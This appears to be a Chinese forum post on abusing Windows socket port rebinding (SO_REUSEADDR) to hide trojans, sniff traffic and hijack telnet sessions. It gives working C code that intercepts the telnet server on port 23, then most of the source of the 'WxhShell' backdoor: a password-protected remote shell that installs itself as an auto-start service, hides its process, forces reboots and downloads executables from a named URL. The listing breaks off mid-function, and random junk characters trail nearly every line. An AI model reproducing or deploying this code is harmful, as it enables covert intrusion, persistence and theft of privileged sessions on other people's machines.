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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8~}Ti*Urc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O_KL#xo  
a8A8?:  
  saddr.sin_family = AF_INET; GJ{]}fl  
4*F+-fu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0dXZd2oK@  
+4B>gS[ F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LD]XN'?"W  
J} %&;uv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a2o+ tR;H  
<7?MutHM-  
  这意味着什么?意味着可以进行如下的攻击: !3?HpR/nV  
-DU[dU*~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =(.HO:#  
80axsU^H0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E]_sl/`{od  
Tw-gM-m;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S(9fGh  
!63x^# kg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Gi Zy C  
kAf2g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Jr\4x7a;`~  
 A5Y z|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Sf lHSMFw  
f>l}y->-Ug  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NqlG=pu  
.P-@ !Q5*  
  #include sh E>gTe  
  #include gbQrSJs!Zh  
  #include ks 3<zW(  
  #include    L[Tr"BW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >`8i=ZpCOS  
  int main() =#n|t[h-  
  { M(I 2M  
  WORD wVersionRequested; m_' 1yX@  
  DWORD ret; p>65(&N,  
  WSADATA wsaData; lN{-}f;TN  
  BOOL val; ]NG`MZ  
  SOCKADDR_IN saddr; Rf2;O<  
  SOCKADDR_IN scaddr; R279=sO,J  
  int err; I:bi8D6  
  SOCKET s; K`PF|=z  
  SOCKET sc; F|%[s|s  
  int caddsize; OpUC98p?@  
  HANDLE mt; F0+u#/#  
  DWORD tid;   GC#3{71  
  wVersionRequested = MAKEWORD( 2, 2 ); V 7%rKK  
  err = WSAStartup( wVersionRequested, &wsaData ); WPpl9)Qc  
  if ( err != 0 ) { /< h~d  
  printf("error!WSAStartup failed!\n"); 6'+3""\  
  return -1; ~.yt  
  } ^hRos  
  saddr.sin_family = AF_INET; b":cj:mxL  
   MXSPD# gN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J=| fxR  
%0$$tS +  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DY0G ;L 3  
  saddr.sin_port = htons(23); 8L6!CP_!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >&Y8VLcK  
  { :74)nbS  
  printf("error!socket failed!\n"); g}P.ksM  
  return -1; Jc(tV(z  
  } / ~w\Npf0  
  val = TRUE; *<"xF'C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |SQ5Sb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lLS`Ln)"  
  { kd9hz-*  
  printf("error!setsockopt failed!\n"); Y(-4Agq  
  return -1; FF)F%o+:w  
  } j<Lj1 P3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j#Bea ,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~X*)gS-=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )&;?|X+p  
uiPfAPZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 89k9#i X  
  { w=e~ M  
  ret=GetLastError(); `N]!-=o  
  printf("error!bind failed!\n"); XGbtmmQG  
  return -1; Qt+ K,LY  
  } p\WW~qD  
  listen(s,2); {ajaM'x  
  while(1) CAX|[  
  { g3Xq@RAJc  
  caddsize = sizeof(scaddr); gH(,>}{^K  
  //接受连接请求 {^1D|y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .FtW $Y~y  
  if(sc!=INVALID_SOCKET) (6L[eWuTn  
  { 9~SfZ,(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $*\[I{Zau}  
  if(mt==NULL) AQDT6E:  
  { Z455g/=ye  
  printf("Thread Creat Failed!\n"); 9EIHcUXe  
  break; p. SEW5  
  } wm%9>mA%  
  } `lRZQ:27X  
  CloseHandle(mt); W}50E.\#  
  } FI`][&]V  
  closesocket(s); CC;T[b&  
  WSACleanup(); Pe EC|&x  
  return 0; #tRLvOR:  
  }   Cb%?s  
  DWORD WINAPI ClientThread(LPVOID lpParam) XkDjA#nx`  
  { N2 wBH+3w  
  SOCKET ss = (SOCKET)lpParam; +ng8!k  
  SOCKET sc; }q^M  
  unsigned char buf[4096]; /U4F\pZl  
  SOCKADDR_IN saddr; U,_uy@fE=?  
  long num; }S\\"SBC  
  DWORD val; U7bbJ>U_|  
  DWORD ret; 5A g 4o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fo|6 PoSo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6FFQoE|n  
  saddr.sin_family = AF_INET; rwWs\~.H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _VLc1svv  
  saddr.sin_port = htons(23); u]lf~EE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N,0l5fD~T  
  { 'vq-~y5^#  
  printf("error!socket failed!\n"); <5%x3e"7u  
  return -1; f02 <u  
  } \DI%/(?  
  val = 100; O8%+5l`T!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ] lE6:^V  
  { TRW{` b[  
  ret = GetLastError(); 9D#"Ey  
  return -1; ]vo&NE  
  } W3Oj6R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9lbe[w @  
  { )kfj+/  
  ret = GetLastError(); 9*pH[vH  
  return -1; o?BcpWp  
  } xE`uFHuS}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +F= j1*'&  
  { `dO)}}| y  
  printf("error!socket connect failed!\n"); b+bgGLo  
  closesocket(sc); "#anL8  
  closesocket(ss); $$ma1.t"  
  return -1; r`Y[XzT9  
  } wl|cipy"  
  while(1) }SpjB  
  { .aTu]i3l_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 | #Z+s-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^Tgu]t   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iPgewjx  
  num = recv(ss,buf,4096,0); |3j'HN5S  
  if(num>0) do@`(f3 g  
  send(sc,buf,num,0); <Yif-9  
  else if(num==0) 7DQ{#Gf#G  
  break; }i0(^"SoXZ  
  num = recv(sc,buf,4096,0); I-<U u 2  
  if(num>0) VSns_>o  
  send(ss,buf,num,0); //T1e7)  
  else if(num==0) 53=5xE= `D  
  break; /qM:;:N%j  
  } *M6' GT1%c  
  closesocket(ss); X!#rw= Q  
  closesocket(sc); b|F4E{{D^  
  return 0 ; 6a$=m3ic  
  } ^'9:n\SKQ  
 ntK#7(U'  
rV;X1x}l  
========================================================== Awy-kou[C  
[\+"<;m$  
下边附上一个代码,,WXhSHELL X <QSi   
wtlIyE  
========================================================== 2I DN?Mw  
*q**,_?;  
#include "stdafx.h" UolsF-U}'  
5~)m6]-6  
#include <stdio.h> r: Ij\YQ  
#include <string.h> 0* 7N=  
#include <windows.h> ixc~DV+@[  
#include <winsock2.h> |Rk9W  
#include <winsvc.h> www#.D%'U  
#include <urlmon.h> 3jH-!M5  
#2AKO/  
#pragma comment (lib, "Ws2_32.lib") Nmu;+{19M  
#pragma comment (lib, "urlmon.lib") qI (<5Wxl  
n~`1KC4  
#define MAX_USER   100 // 最大客户端连接数 y*ux7KO  
#define BUF_SOCK   200 // sock buffer 6jS:_[p  
#define KEY_BUFF   255 // 输入 buffer 2L?jp:$;X  
[H"\<"1o  
#define REBOOT     0   // 重启 4R<bfZ43  
#define SHUTDOWN   1   // 关机 l@:|OGD;8  
m][i-|@M  
#define DEF_PORT   5000 // 监听端口 5ZpU><y  
i|M^QKvF  
#define REG_LEN     16   // 注册表键长度 NmbA~i  
#define SVC_LEN     80   // NT服务名长度 9&]g2iT P  
?4QX;s7  
// 从dll定义API +b O]9* g]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CG!7BP\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]dvNUD   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $"#2hVO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VAGQR&T?  
{|:ro!&  
// wxhshell配置信息 *SP@`)\D  
struct WSCFG { xcf`i:\  
  int ws_port;         // 监听端口 M^C|svm  
  char ws_passstr[REG_LEN]; // 口令 0Z{;sW  
  int ws_autoins;       // 安装标记, 1=yes 0=no OH+kN /Fd  
  char ws_regname[REG_LEN]; // 注册表键名 qGezmkNFm  
  char ws_svcname[REG_LEN]; // 服务名 V@%:y tDf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n*yVfI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e#{,M8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~6bf-Wg'X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4n}tDHvd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uu5L9.i9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jw -?7O  
XXwe/>J  
}; ,\".|m1o.  
A.[~}ywH  
// default Wxhshell configuration @cc4]>4  
struct WSCFG wscfg={DEF_PORT, aFfd!a" n  
    "xuhuanlingzhe", <Sn;k[M}d  
    1, {`KRr:w  
    "Wxhshell", 4 C7z6VWg  
    "Wxhshell", e"I+5r",  
            "WxhShell Service", JSf \ApX  
    "Wrsky Windows CmdShell Service", PP1?UT=]  
    "Please Input Your Password: ", v%|S)^c?:  
  1, *{K?JB#W  
  "http://www.wrsky.com/wxhshell.exe", /);S?7u.  
  "Wxhshell.exe" s2 8t'  
    }; o$Jop"To  
sfo+B$4|  
// 消息定义模块 N?Nu'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qG&}lg?g{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cT&!_g#g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v4$"{W;'  
char *msg_ws_ext="\n\rExit."; Q)lN7oD  
char *msg_ws_end="\n\rQuit."; BSyl!>G6n8  
char *msg_ws_boot="\n\rReboot..."; kiP-^Wan  
char *msg_ws_poff="\n\rShutdown..."; GE S_|[Q  
char *msg_ws_down="\n\rSave to "; Qo%IZw$l  
*i`t4N A  
char *msg_ws_err="\n\rErr!"; z\F#td{r  
char *msg_ws_ok="\n\rOK!"; ;]c:0W '  
jeu|9{iTVu  
char ExeFile[MAX_PATH]; p#QR^|7"  
int nUser = 0; O3*}L2 j@  
HANDLE handles[MAX_USER]; dm:2:A8^  
int OsIsNt; AJJa<c+j  
VnU/_# n  
SERVICE_STATUS       serviceStatus; K5"8zF)*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |qAU\m"Pc  
lL<LJ :L  
// 函数声明 *ydh.R<hb  
int Install(void); .,l4pA9v  
int Uninstall(void); y' r I1eF  
int DownloadFile(char *sURL, SOCKET wsh); Md5|j0#p  
int Boot(int flag); %@ ,! (  
void HideProc(void); m|by^40A(  
int GetOsVer(void); =1SG^rp  
int Wxhshell(SOCKET wsl); 2m8|0E|@  
void TalkWithClient(void *cs); 6[k7e!&  
int CmdShell(SOCKET sock); ?cvV~&$gc  
int StartFromService(void); K'@lXA:  
int StartWxhshell(LPSTR lpCmdLine); FpYeuH%  
<aR sogu"P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )?$zY5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :T9 P9<  
4))5l9kc.  
// 数据结构和表定义 +N>z|T<  
SERVICE_TABLE_ENTRY DispatchTable[] = . l>.  
{ Pxy+W*t  
{wscfg.ws_svcname, NTServiceMain}, a<W.}0ZY  
{NULL, NULL} tupAU$h?!  
}; ,bRYqU?#0  
tZz *O%  
// 自我安装 0Z&ua  
int Install(void) VEG p!~D  
{ v~AD7k2{8  
  char svExeFile[MAX_PATH]; G|eJac>  
  HKEY key; F`e o3z  
  strcpy(svExeFile,ExeFile); n5z";:p  
cGUsao  
// 如果是win9x系统,修改注册表设为自启动 WMXxP gik  
if(!OsIsNt) { IA3m.Vxj ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =#.qe=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \T:*tgU  
  RegCloseKey(key); Id<O/C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d cG)ql4d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HbZFL*2x3  
  RegCloseKey(key); 9:4m@dguh-  
  return 0; m.b}A'GT  
    } xhw0YDGzf  
  } `Re{j{~s  
} #J`M R05  
else { -E +LA  
LKsK!X  
// 如果是NT以上系统,安装为系统服务 DWXHx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `7$Sga6M  
if (schSCManager!=0) |Ca %dg9$@  
{ ('oA{,#L  
  SC_HANDLE schService = CreateService r-'CB  
  ( qbq.r&F&  
  schSCManager, 4V7=VZ, @3  
  wscfg.ws_svcname, @@=e-d  
  wscfg.ws_svcdisp, h~-cnAMt  
  SERVICE_ALL_ACCESS, =jD9oMs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r=Od%  
  SERVICE_AUTO_START, uMb[0-5  
  SERVICE_ERROR_NORMAL, pp1kcrE\M  
  svExeFile, ,: Z7P@  
  NULL, m;oCi }fL  
  NULL, .:9XpKbt  
  NULL, iVZ X  
  NULL, iL8:I)z  
  NULL i@o'Fc  
  ); kj]m@mS[  
  if (schService!=0) X ApSKJ  
  { |576)  
  CloseServiceHandle(schService); 3( o~|%  
  CloseServiceHandle(schSCManager); Dwbt^{N ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =`/GB T$  
  strcat(svExeFile,wscfg.ws_svcname); d8N4@3CkL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v&3 Oc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ::k cV'*  
  RegCloseKey(key); W+'f|J=  
  return 0; w@i;<LY.  
    } \o<&s{ 6L  
  } [t+qYe8  
  CloseServiceHandle(schSCManager); [n2)6B\/  
} w1:%P36H  
} j%ux,0Y  
/" 6Gh'  
return 1; ;uyQR8  
} 7$A=|/'nSA  
J5L[)Gd)D  
// 自我卸载 vhz Q.>  
int Uninstall(void) }@<Ru  
{ E, ;'n  
  HKEY key; @M=\u-jJ.  
`(&GLv[i^2  
if(!OsIsNt) { CJf4b:SY@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Ax#x  
  RegDeleteValue(key,wscfg.ws_regname); Gi Max  
  RegCloseKey(key); Y=(%t:#_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { evro]&N{  
  RegDeleteValue(key,wscfg.ws_regname); -}KW"#9c  
  RegCloseKey(key); *zl-R*bM$  
  return 0; GN=-dLN  
  } ]>oI3&6s  
} +1>\o|RF  
} 9RmdQ]1n4  
else { k56*eEc  
:~LOw}N!aQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B/gI~e0  
if (schSCManager!=0) H5/w!y@  
{ %Zi}sm1t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2|D<0d#W  
  if (schService!=0) x>[f+Tc  
  { =g<Yi2  
  if(DeleteService(schService)!=0) { N7#,x9+E  
  CloseServiceHandle(schService); |v@ zyOq&b  
  CloseServiceHandle(schSCManager); :,pdR>q%(y  
  return 0; l( uV@_3  
  } oRQ( l I>  
  CloseServiceHandle(schService); g<s;uRA4O9  
  } QR(j7>+J^  
  CloseServiceHandle(schSCManager); szas(7kDS  
} 8 _|"+Ze  
} *# ;  
H':0  
return 1; ~NB lJULS  
} n$E'+kox  
91:TE8?Z  
// 从指定url下载文件 +W#["%kw  
int DownloadFile(char *sURL, SOCKET wsh) mL3 Q  
{ 4{#0ci{  
  HRESULT hr; wOrpp3I  
char seps[]= "/"; YnW,6U['{g  
char *token; 9}#9i^%}  
char *file; tN-B`d 1  
char myURL[MAX_PATH]; 0uhIJc'2  
char myFILE[MAX_PATH]; /A>1TPb09"  
G ;  
strcpy(myURL,sURL); V u1|5  
  token=strtok(myURL,seps); v.{I^=  
  while(token!=NULL) <c]?  
  { 2/RW(U  
    file=token; ?Y'r=Q{w  
  token=strtok(NULL,seps); EQ2HQz ]  
  } dZ"d`M>o6  
*@[N~:z/  
GetCurrentDirectory(MAX_PATH,myFILE); L ]QBh\  
strcat(myFILE, "\\"); RxXiSc`^z  
strcat(myFILE, file); 7U`8W\-  
  send(wsh,myFILE,strlen(myFILE),0); %lqrq<Xn  
send(wsh,"...",3,0); BTa#}LBZ+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u#`'|ko \9  
  if(hr==S_OK) qY|NA)E)Bp  
return 0; mcLxX'c6<h  
else g0 Jy:`M  
return 1; eN-lz_..7  
W24n%Ps  
} X DAwE  
c%x.cbu>  
// 系统电源模块 8e}8@[h  
int Boot(int flag) :B1a2Y^"  
{ 0;:AT|U/d  
  HANDLE hToken; u\P)x~-TM  
  TOKEN_PRIVILEGES tkp; ;%Rp=&J  
q-4#)EnW  
  if(OsIsNt) { _VI3b$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CpdQ]Ai[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n%I9l]  
    tkp.PrivilegeCount = 1; axLO: Q,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T[]kun  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xr$hQbl5D  
if(flag==REBOOT) { of>}fJ_p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O`FuXB(t  
  return 0; hnnPi  
} Mp)|5<%  
else { V|G[j\]E<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (*dJ   
  return 0; .9KW| (uW  
} r:9H>4m  
  } %LBT:Aw  
  else { 7kH GU  
if(flag==REBOOT) { 2~q(?wY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iYl$25k/1  
  return 0; ^9xsbv B0  
} kH>^3( Q\  
else { 6HxZS+], c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iBPx97a  
  return 0; Q2K)Nl >_  
} atWB*kqI  
} v9+1[Y";  
u(P;) E"1  
return 1; ~ZXAW~a}  
} O!.mc=Gx7  
AAld2"r  
// win9x进程隐藏模块 9Qhk~^ngg  
void HideProc(void) 70{fl 4J5  
{ ffE&=eh)  
.47tj`L   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lp%i%*EQ*  
  if ( hKernel != NULL ) Mq2[^l!qu  
  { o;M-M(EZQ6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G?QU|<mj<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Mv^G%zg2  
    FreeLibrary(hKernel); PbN"+qM  
  } m=p<.%a  
{;j@-=pV  
return; ; #^Jy#)  
} ]6 vqgu  
QW1d&Gb.(  
// 获取操作系统版本 C*fSPdg?  
int GetOsVer(void) d( +E0  
{ <u85>x  
  OSVERSIONINFO winfo; Afq?Ps+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8/* 6&#-  
  GetVersionEx(&winfo); Hxzdxwz%$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k7ODQ(*v  
  return 1; ~TEKxgU  
  else #3o]Qo[Sc  
  return 0; C/je5  
} yNu%D$6u7  
$>mTPNF  
// 客户端句柄模块 .4-I^W"1  
int Wxhshell(SOCKET wsl) hSyA;*)U  
{ k 1   
  SOCKET wsh; |xQq+e}l<  
  struct sockaddr_in client; ljo^ 2  
  DWORD myID; niIjatT  
U<lCK!85[  
  while(nUser<MAX_USER) (" +/ :  
{  zOnQ656  
  int nSize=sizeof(client); WxF rqUz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fl^}tC  
  if(wsh==INVALID_SOCKET) return 1; >f*[U/{ K  
n\Y|0\ B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q9 * N/2+  
if(handles[nUser]==0) -O=a"G=  
  closesocket(wsh); M1f ^Lx  
else ^v].mV/  
  nUser++; C^x+'. ^N  
  } %wp#vO-$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j!H\hj/]  
=7c1l77z  
  return 0;  *R6n+d  
} &G>EBKn\2`  
tT;=l[7%  
// 关闭 socket >r"~t70C~]  
void CloseIt(SOCKET wsh) "jUr[X2J  
{ @Pc]qu  
closesocket(wsh); i-EFq@xl  
nUser--; >cPB:kD'  
ExitThread(0); {m/\AG)1I  
} Y+#e| x  
n_n0Q}du  
// 客户端请求句柄 ]<;m;/ H  
void TalkWithClient(void *cs) ( |1 $zF+  
{ 2\z"6  
ReCmv/AE  
  SOCKET wsh=(SOCKET)cs; )oSUhU26}  
  char pwd[SVC_LEN]; <(Wa8PY2(  
  char cmd[KEY_BUFF]; Gd~Xvw,u  
char chr[1]; .FnO  
int i,j; $3! j1  
Upr:sB  
  while (nUser < MAX_USER) { cmIAWFj-)e  
qG/a5i  
if(wscfg.ws_passstr) { O]n"aAu@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }Vpr7_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nr>g0_%m  
  //ZeroMemory(pwd,KEY_BUFF); C'hI{4@P  
      i=0; X"W%(x`w  
  while(i<SVC_LEN) { {37DrSOa  
JqO#W1h~R|  
  // 设置超时 gnoV>ON0  
  fd_set FdRead; 8E/]k\  
  struct timeval TimeOut; =De%]]>   
  FD_ZERO(&FdRead); 9Osjh G  
  FD_SET(wsh,&FdRead); j}chU'i f  
  TimeOut.tv_sec=8; ~4wbIE_r N  
  TimeOut.tv_usec=0; ,XW6W&vR;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sa`7_KB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #(jozl_8  
<v"C`cga  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); | %af}# FQ  
  pwd=chr[0]; *0y+=,"QU  
  if(chr[0]==0xd || chr[0]==0xa) { /c`)Er 6d  
  pwd=0; :rb<mg[  
  break; k3[ ~I'  
  } 2;4Of~  
  i++; J! >HT'M  
    } I C9:&C[  
r+;C}[E  
  // 如果是非法用户,关闭 socket Mz<4P3"H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I<.3"F1}  
} vZC2F  
:x97^.eW~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >#R<*?*D}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +|Q8P?YD_  
!cLX1S  
while(1) { O@3EJkv  
@.-g  
  ZeroMemory(cmd,KEY_BUFF); mqk~Pno|<  
zp4Jd"XBX  
      // 自动支持客户端 telnet标准   E`>-+~ZUsk  
  j=0; 2"nd(+ QH  
  while(j<KEY_BUFF) { Rcf_31 L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _"J-P={=  
  cmd[j]=chr[0]; K 3?7Hndf2  
  if(chr[0]==0xa || chr[0]==0xd) {  KEsMes(*  
  cmd[j]=0; =4yME  
  break; s_K:h  
  } [Y*p I&f  
  j++; _p7c<$ ;  
    } -zHJ#  
#:z.Br`  
  // 下载文件 /wI$}X5o~  
  if(strstr(cmd,"http://")) { 1bd(JL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qm,|'y:Tg  
  if(DownloadFile(cmd,wsh)) v%V$@MF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gOO\` #  
  else suaTXKjyk+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bfaj4i ;_  
  } @y9_\mX!s  
  else { ?`,UW;Br6  
A;w,m{9<  
    switch(cmd[0]) { LKxyj@Eq  
  UBi0 /  
  // 帮助  F[115/  
  case '?': { d/- f]   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _i:yI-jA  
    break; zXvAW7  
  } >mT2g  
  // 安装 2@1A,  
  case 'i': { $~50M5&K#  
    if(Install()) $PstThM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'wLQ9o%=p|  
    else <;+&`R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Pby  d  
    break; hI;tB6  
    } 2>.B*P  
  // 卸载 ,#UaWq@7  
  case 'r': { O|#^&d  
    if(Uninstall()) a~7`;Ar  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S!2M?}LU  
    else %Ox*?l _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Rjk d>K3  
    break; 1'R]An BV  
    }  _*9eAeJ  
  // 显示 wxhshell 所在路径 ?W9$=  
  case 'p': { -JaC~v(0  
    char svExeFile[MAX_PATH]; m /JpYv~  
    strcpy(svExeFile,"\n\r"); ,F.\z^\{  
      strcat(svExeFile,ExeFile); 2ME3=C  
        send(wsh,svExeFile,strlen(svExeFile),0); |9jeOV}/  
    break; $dgY#ST%  
    } ,S2D/Y^>  
  // 重启 Q~#udEajI  
  case 'b': { Qy*`s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tV9nC   
    if(Boot(REBOOT)) QK% {\qu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O]~cv^  
    else { #)tt}GX  
    closesocket(wsh); ?^Q!=W<7  
    ExitThread(0); SQ]&nDd  
    } TV#pUQ3K  
    break; .4Jea#M&x  
    } 7pMrYIP  
  // 关机 lSUEE0V%Q  
  case 'd': { ),mKEpf  
